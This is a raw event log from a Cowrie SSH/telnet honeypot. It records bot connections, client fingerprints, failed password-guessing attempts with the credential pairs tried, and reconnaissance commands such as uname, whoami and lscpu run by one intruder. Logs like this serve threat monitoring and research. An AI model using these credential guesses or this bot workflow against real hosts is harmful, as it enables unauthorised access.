{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:12.849119Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":37506,"dst_ip":"10.17.0.5","dst_port":22,"session":"96af82fc3c1e","protocol":"ssh","message":"New connection: 211.186.79.173:37506 (10.17.0.5:22) [session: 96af82fc3c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:13.033244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:13.038705Z","src_ip":"211.186.79.173","session":"96af82fc3c1e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:13.046974Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:13.218395Z","src_ip":"211.186.79.173","session":"96af82fc3c1e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:13.465947Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:13.469011Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:13.658021Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.076325Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.079186Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin@123","message":"login attempt [user/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.086728Z","src_ip":"211.186.79.173","session":"96af82fc3c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.281238317489624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.238568Z","src_ip":"50.6.3.16","session":"58d6e9581fe0","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.287277Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.714704Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.718955Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.915108Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.9","message":"Connection lost after 16.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:14.922002Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:15.283198Z","src_ip":"211.186.79.173","session":"96af82fc3c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5b3b9d325f","protocol":"telnet","message":"New connection: 50.6.3.16:40584 (10.17.0.5:23) [session: 8e5b3b9d325f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:18.943288Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47720,"dst_ip":"10.17.0.5","dst_port":23,"session":"56294a6a3e74","protocol":"telnet","message":"New connection: 50.6.3.16:47720 (10.17.0.5:23) [session: 56294a6a3e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:29.636278Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47736,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c29de665358","protocol":"telnet","message":"New connection: 50.6.3.16:47736 (10.17.0.5:23) [session: 8c29de665358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:32.169526Z"}
{"eventid":"cowrie.session.closed","duration":30.612584829330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:32.607178Z","src_ip":"50.6.3.16","session":"1dd8af0335e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08258581161499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:33.448746Z","src_ip":"50.6.3.16","session":"527bcf35f8f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50510,"dst_ip":"10.17.0.5","dst_port":23,"session":"684fbf81d233","protocol":"telnet","message":"New connection: 50.6.3.16:50510 (10.17.0.5:23) [session: 684fbf81d233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:39.951494Z"}
{"eventid":"cowrie.session.closed","duration":31.188825130462646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:40.137074Z","src_ip":"50.6.3.16","session":"3f95e0fa1402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50518,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce69f0914ba2","protocol":"telnet","message":"New connection: 50.6.3.16:50518 (10.17.0.5:23) [session: ce69f0914ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:47.929258Z"}
{"eventid":"cowrie.session.closed","duration":31.484511375427246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:50.427660Z","src_ip":"50.6.3.16","session":"8e5b3b9d325f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52902,"dst_ip":"10.17.0.5","dst_port":23,"session":"695c353e23ef","protocol":"telnet","message":"New connection: 50.6.3.16:52902 (10.17.0.5:23) [session: 695c353e23ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:53.193497Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52908,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73debe1b84a","protocol":"telnet","message":"New connection: 50.6.3.16:52908 (10.17.0.5:23) [session: e73debe1b84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:55.773544Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":36238,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f53bec0b52","protocol":"ssh","message":"New connection: 185.9.193.111:36238 (159.203.135.109:22) [session: 61f53bec0b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:58.571941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:58.578167Z","src_ip":"185.9.193.111","session":"61f53bec0b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:58.793312Z","src_ip":"185.9.193.111","session":"61f53bec0b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c327e1980e49","protocol":"telnet","message":"New connection: 50.6.3.16:52294 (10.17.0.5:23) [session: c327e1980e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:59.627602Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert12345","message":"login attempt [ubuntu/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:59.658963Z","src_ip":"185.9.193.111","session":"61f53bec0b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52306,"dst_ip":"10.17.0.5","dst_port":23,"session":"7906df4eed19","protocol":"telnet","message":"New connection: 50.6.3.16:52306 (10.17.0.5:23) [session: 7906df4eed19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:00.493957Z"}
{"eventid":"cowrie.session.closed","duration":30.973307132720947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:00.609424Z","src_ip":"50.6.3.16","session":"56294a6a3e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52310,"dst_ip":"10.17.0.5","dst_port":23,"session":"813c5179683f","protocol":"telnet","message":"New connection: 50.6.3.16:52310 (10.17.0.5:23) [session: 813c5179683f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:00.945773Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:01.089251Z","src_ip":"185.9.193.111","session":"61f53bec0b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":56358,"dst_ip":"159.203.135.109","dst_port":22,"session":"495fe4d1ba3b","protocol":"ssh","message":"New connection: 4.213.160.153:56358 (159.203.135.109:22) [session: 495fe4d1ba3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:02.383337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:02.388573Z","src_ip":"4.213.160.153","session":"495fe4d1ba3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:02.575088Z","src_ip":"4.213.160.153","session":"495fe4d1ba3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52320,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fab823f3a3d","protocol":"telnet","message":"New connection: 50.6.3.16:52320 (10.17.0.5:23) [session: 6fab823f3a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:02.902228Z"}
{"eventid":"cowrie.session.closed","duration":30.88204836845398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:03.051440Z","src_ip":"50.6.3.16","session":"8c29de665358","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"webmaster","message":"login attempt [ubuntu/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:03.354394Z","src_ip":"4.213.160.153","session":"495fe4d1ba3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52330,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad89f3afd5fd","protocol":"telnet","message":"New connection: 50.6.3.16:52330 (10.17.0.5:23) [session: ad89f3afd5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:03.763686Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:04.565063Z","src_ip":"4.213.160.153","session":"495fe4d1ba3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34162,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7555299984","protocol":"telnet","message":"New connection: 50.6.3.16:34162 (10.17.0.5:23) [session: 7c7555299984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:08.055162Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34178,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9fd75d380e1","protocol":"telnet","message":"New connection: 50.6.3.16:34178 (10.17.0.5:23) [session: f9fd75d380e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:08.969169Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34182,"dst_ip":"10.17.0.5","dst_port":23,"session":"10584a98c9f7","protocol":"telnet","message":"New connection: 50.6.3.16:34182 (10.17.0.5:23) [session: 10584a98c9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:09.701225Z"}
{"eventid":"cowrie.session.closed","duration":31.339825868606567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:11.291137Z","src_ip":"50.6.3.16","session":"684fbf81d233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34196,"dst_ip":"10.17.0.5","dst_port":23,"session":"184769d8d2c2","protocol":"telnet","message":"New connection: 50.6.3.16:34196 (10.17.0.5:23) [session: 184769d8d2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:14.215299Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34202,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6ab68fb86d","protocol":"telnet","message":"New connection: 50.6.3.16:34202 (10.17.0.5:23) [session: ac6ab68fb86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:14.603885Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48814,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcee2b390217","protocol":"telnet","message":"New connection: 50.6.3.16:48814 (10.17.0.5:23) [session: bcee2b390217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:18.402371Z"}
{"eventid":"cowrie.session.closed","duration":30.680967330932617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:18.610100Z","src_ip":"50.6.3.16","session":"ce69f0914ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48818,"dst_ip":"10.17.0.5","dst_port":23,"session":"841e4f7e0fb0","protocol":"telnet","message":"New connection: 50.6.3.16:48818 (10.17.0.5:23) [session: 841e4f7e0fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:20.552422Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f68b764361a","protocol":"telnet","message":"New connection: 50.6.3.16:48824 (10.17.0.5:23) [session: 6f68b764361a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:20.980905Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48836,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1645f1d05a2","protocol":"telnet","message":"New connection: 50.6.3.16:48836 (10.17.0.5:23) [session: b1645f1d05a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:21.522772Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48848,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a1c2af6a04d","protocol":"telnet","message":"New connection: 50.6.3.16:48848 (10.17.0.5:23) [session: 2a1c2af6a04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:24.232514Z"}
{"eventid":"cowrie.session.closed","duration":31.105820655822754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:24.299174Z","src_ip":"50.6.3.16","session":"695c353e23ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48858,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a5ca39e908","protocol":"telnet","message":"New connection: 50.6.3.16:48858 (10.17.0.5:23) [session: 68a5ca39e908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:25.905433Z"}
{"eventid":"cowrie.session.closed","duration":31.14113187789917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:26.914532Z","src_ip":"50.6.3.16","session":"e73debe1b84a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56780,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2d8da48ef2","protocol":"telnet","message":"New connection: 50.6.3.16:56780 (10.17.0.5:23) [session: db2d8da48ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:29.089736Z"}
{"eventid":"cowrie.session.closed","duration":30.5616672039032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:31.055501Z","src_ip":"50.6.3.16","session":"7906df4eed19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.831591844558716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:31:31.459061Z","src_ip":"50.6.3.16","session":"c327e1980e49","protocol":"telnet"}
